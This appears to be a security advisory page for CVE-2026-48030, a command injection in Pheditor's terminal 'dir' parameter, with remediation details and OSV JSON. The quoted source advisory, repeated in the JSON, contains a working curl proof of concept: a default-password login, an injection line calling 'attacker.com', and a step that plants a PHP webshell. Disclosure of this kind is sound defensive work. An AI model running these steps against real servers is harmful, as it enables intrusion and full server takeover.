CVE-2026-48030: Pheditor OS Command Injection Vulnerability

CRITICAL
Advisory Identifier: GHSA-jvc5-6g7q-c843
CVSS 9.9
CWE-78
Published
Advisory Summary

CVE-2026-48030 is a CRITICAL (CVSS 9.9) os command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Pheditor libraries in the Packagist ecosystem. The issue involves os command injection in terminal handler via unsanitized 'dir' parameter. Remediation is available by upgrading affected packages to version 2.0.4.

CVE-2026-48030 at a Glance

CVE Identifier CVE-2026-48030
GHSA Identifier GHSA-jvc5-6g7q-c843
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Pheditor
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-48030

To remediate this vulnerability, upgrade all affected Pheditor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pheditor/pheditor fixed: 2.0.4
Upgrade pheditor/pheditor to 2.0.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pheditor/pheditor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48030, inspect your project dependencies for Pheditor:

inspect dependencies for pheditor/pheditor

Analyze the terminal output to locate any version of Pheditor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Pheditor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. ### Details The terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization. Vulnerable code (pheditor.php, line 554–586): ```php $command = $_POST['command']; // ✓ metacharacters checked $dir = $_POST['dir']; // ✗ NOT checked — vulnerable if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { die(...); // only guards $command, not $dir } $output = shell_exec( (empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd' // ← $dir injected here ); ``` An attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely. Fix: replace `$dir` with `escapeshellarg($dir)` on line 586. ### PoC Requirements: valid credentials, terminal permission enabled (default) Step 1 — Authenticate: ```bash curl -c cookies.txt -X POST http://TARGET/pheditor.php \ -d "pheditor_password=admin" -L > /dev/null ``` Step 2 — Get CSRF token: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') ``` Step 3 — Confirm curl is blocked via command field: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=curl https://ifconfig.me" \ --data-urlencode "dir=/tmp" → {"error":true,"message":"Command not allowed"} ``` Step 4 — Bypass whitelist via dir injection: ```bash TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | \ grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #" → {"error":false,"message":"OK","dir":"<PUBLIC_IP>"} ``` Step 5 — Full RCE via webshell: ```bash curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #" curl "http://TARGET/shell.php?c=id" → uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### Impact OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to: - Execute arbitrary OS commands as the web server user - Bypass the TERMINAL_COMMANDS whitelist entirely - Deploy persistent PHP webshells to the webroot - Read, write, or delete any file accessible to the web server - Potentially compromise other applications on the same server

CVE-2026-48030 Affected Pheditor Versions

1 component(s)
Fixed Versions:
2.0.4
Product / Package Ecosystem Affected Versions Fixed Version
pheditor/pheditor
Packagist
≥ 2.0.1
< 2.0.4
2.0.4

References

Frequently Asked Questions

What is CVE-2026-48030?
CVE-2026-48030 is a security vulnerability in Pheditor involving OS Command Injection in terminal handler via unsanitized 'dir' parameter under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Pheditor versions are affected?
Affected versions include releases prior to 2.0.4 across affected packages: pheditor/pheditor.
What version fixes CVE-2026-48030?
Upgrading to 2.0.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pheditor/pheditor affected?
Yes, pheditor/pheditor is affected in releases prior to 2.0.4. Upgrade your dependency to 2.0.4 or later.
What is the CVSS score of CVE-2026-48030?
CVE-2026-48030 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-48030?
CVE-2026-48030 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Packagist dependencies for CVE-2026-48030?
Run the dependency tree command: 'inspect dependencies for pheditor/pheditor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jvc5-6g7q-c843",
  "modified" : "2026-06-09T22:00:35Z",
  "published" : "2026-06-09T22:00:35Z",
  "aliases" : [ "CVE-2026-48030" ],
  "summary" : "Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter",
  "details" : "### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554–586):\n\n```php\n$command = $_POST['command'];  // ✓ metacharacters checked\n$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable\n\nif (strpos($command, '&')  !== false ||\n    strpos($command, ';')  !== false ||\n    strpos($command, '||') !== false) {\n    die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n    (empty($dir) ? null : 'cd ' . $dir . ' && ')\n    . $command . ' && echo \\ ; pwd'  // ← $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escapeshellarg($dir)` on line 586.\n\n### PoC\n\nRequirements: valid credentials, terminal permission enabled (default)\n\nStep 1 — Authenticate:\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET/pheditor.php \\\n  -d \"pheditor_password=admin\" -L > /dev/null\n```\n\nStep 2 — Get CSRF token:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n  grep -o 'token = \"[a-f0-9]*\"' | \\\n  grep -o '\"[a-f0-9]*\"' | tr -d '\"')\n```\n\nStep 3 — Confirm curl is blocked via command field:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=curl https://ifconfig.me\" \\\n  --data-urlencode \"dir=/tmp\"\n\n\n→ {\"error\":true,\"message\":\"Command not allowed\"}\n```\n\nStep 4 — Bypass whitelist via dir injection:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n  grep -o 'token = \"[a-f0-9]*\"' | \\\n  grep -o '\"[a-f0-9]*\"' | tr -d '\"')\n\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=ls\" \\\n  --data-urlencode \"dir=/tmp; curl -s https://ifconfig.me #\"\n\n\n→ {\"error\":false,\"message\":\"OK\",\"dir\":\"<PUBLIC_IP>\"}\n```\n\nStep 5 — Full RCE via webshell:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n  --data-urlencode \"action=terminal\" \\\n  --data-urlencode \"token=$TOKEN\" \\\n  --data-urlencode \"command=ls\" \\\n  --data-urlencode \"dir=/var/www/html; echo '<?php system($_GET[\"c\"]);?>' > /var/www/html/shell.php #\"\n\ncurl \"http://TARGET/shell.php?c=id\"\n\n\n→ uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\n\nOS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:\n\n- Execute arbitrary OS commands as the web server user\n- Bypass the TERMINAL_COMMANDS whitelist entirely\n- Deploy persistent PHP webshells to the webroot\n- Read, write, or delete any file accessible to the web server\n- Potentially compromise other applications on the same server",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pheditor/pheditor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.1"
      }, {
        "fixed" : "2.0.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pheditor/pheditor/security/advisories/GHSA-jvc5-6g7q-c843"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pheditor/pheditor/commit/62b43df7cb8956a9b0deb9bec278ca8676c890c5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pheditor/pheditor"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-09T22:00:35Z",
    "nvd_published_at" : null
  }
}